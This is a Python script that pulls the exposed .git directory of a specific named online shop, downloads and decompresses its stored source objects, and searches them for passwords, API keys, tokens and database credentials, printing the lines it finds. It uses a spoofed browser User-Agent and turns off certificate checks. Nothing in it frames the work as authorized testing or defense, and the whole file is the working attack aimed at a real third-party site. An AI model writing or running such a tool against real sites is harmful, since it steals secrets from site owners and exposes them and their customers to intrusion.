import asyncio, struct, zlib, re
import aiohttp

BASE = "https://smileshoponline.com"
UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
SKIP = ("/vendor/", "/node_modules/", "/assets/", ".scss", ".css", ".png", ".jpg", ".gif",
        ".svg", ".woff", ".ttf", ".eot", ".map", ".po", ".mo", ".pot", ".md", ".txt")
PAT = re.compile(r"(?i)(password|passwd|secret|api[_-]?key|apikey|token|smtp|mailchimp|"
                 r"access[_-]?key|private[_-]?key|db_name|db_user|db_host|auth[_-]?key)")


def parse_index(buf):
    ver, cnt = struct.unpack(">II", buf[4:12])
    off, out = 12, []
    for _ in range(cnt):
        sha = buf[off + 40:off + 60].hex()
        flags = struct.unpack(">H", buf[off + 60:off + 62])[0]
        n = flags & 0xFFF
        name = buf[off + 62:off + 62 + n].decode("utf-8", "replace")
        off += (62 + n + 8) & ~7
        out.append((name, sha))
    return out


async def get(sess, path):
    async with sess.get(BASE + path, ssl=False) as r:
        return r.status, await r.read()


async def main():
    tout = aiohttp.ClientTimeout(total=45, connect=8, sock_read=30)
    sem = asyncio.Semaphore(10)
    async with aiohttp.ClientSession(timeout=tout, headers=UA) as s:
        st, buf = await get(s, "/.git/index")
        entries = parse_index(buf)
        todo = [(n, sh) for n, sh in entries if not any(k in n.lower() for k in SKIP)]
        print("blobs to scan:", len(todo), "of", len(entries), flush=True)
        hits = []

        async def one(name, sha):
            async with sem:
                try:
                    st2, blob = await get(s, f"/.git/objects/{sha[:2]}/{sha[2:]}")
                    if st2 != 200 or len(blob) > 400000:
                        return
                    raw = zlib.decompress(blob)
                except Exception:
                    return
            body = raw[raw.find(b"\x00") + 1:].decode("utf-8", "replace")
            if not PAT.search(body):
                return
            for i, line in enumerate(body.splitlines(), 1):
                if PAT.search(line) and len(line) < 300:
                    hits.append(f"{name}:{i}: {line.strip()[:160]}")

        await asyncio.gather(*[one(n, sh) for n, sh in todo])
        hits.sort()
        for h in hits[:60]:
            print("  ", h)
        print("total hits:", len(hits), flush=True)

asyncio.run(main())
